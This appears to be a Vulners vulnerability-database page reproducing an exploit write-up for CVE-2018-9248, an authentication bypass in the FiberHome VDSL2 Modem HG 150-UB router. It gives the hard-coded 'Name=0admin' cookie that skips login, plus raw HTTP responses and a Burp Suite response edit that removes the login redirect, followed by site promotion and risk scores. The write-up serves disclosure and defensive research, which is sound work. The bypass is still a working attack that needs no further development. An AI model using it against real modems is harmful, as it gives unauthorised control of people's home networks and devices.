Vulners
Lucene search
FiberHome VDSL2 Modem HG 150-UB - Authentication Bypass
| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
 | FiberHome VDSL2 Modem HG 150-UB Security Bypass Vulnerability | 10 Apr 201800:00 | – | cnvd |
 | CVE-2018-9248 | 4 Apr 201815:00 | – | cve |
 | CVE-2018-9248 | 4 Apr 201815:00 | – | cvelist |
 | FiberHome VDSL2 Modem HG 150-UB - Authentication Bypass | 6 Apr 201800:00 | – | exploitpack |
 | CVE-2018-9248 | 4 Apr 201815:29 | – | nvd |
 | Authentication flaw | 4 Apr 201815:29 | – | prion |
# Exploit Title: FiberHome VDSL2 Modem HG 150-UB Authentication Bypass
# Date: 04/03/2018
# Exploit Author: Noman Riffat
# Vendor Homepage: http://www.fiberhome.com/
# CVE : CVE-2018-9248, CVE-2018-9248
The vulnerability exists in plain text & hard coded cookie. Using any
cookie manager extension, an attacker can bypass login page by setting the
following Master Cookie.
Cookie: Name=0admin
Then access the homepage which will no longer require authentication.
http://192.168.10.1/
Due to improper session implementation, there is another way to bypass
login. The response header of homepage without authentication looks like
this.
HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Tue, 03 Apr 2018 18:33:12 GMT
Set-Cookie: Name=; path=/
Content-Type: text/html
Connection: close
<html><head><script language='javascript'>
parent.location='login.html'
</script></head><body></body></html>HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Tue, 03 Apr 2018 18:33:12 GMT
Content-Type: text/html
Connection: close
<html>
<head>
.. continue to actual homepage source
The response header looks totally messed up and by triggering burp suite
and modifying it to following will grant access to homepage without
authentication.
HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Tue, 03 Apr 2018 18:33:12 GMT
Set-Cookie: Name=; path=/
Content-Type: text/html
Connection: close
<html>
<head>
.. continue to actual homepage sourceData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 Apr 2018 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 27.5
CVSS 39.8
EPSS0.69307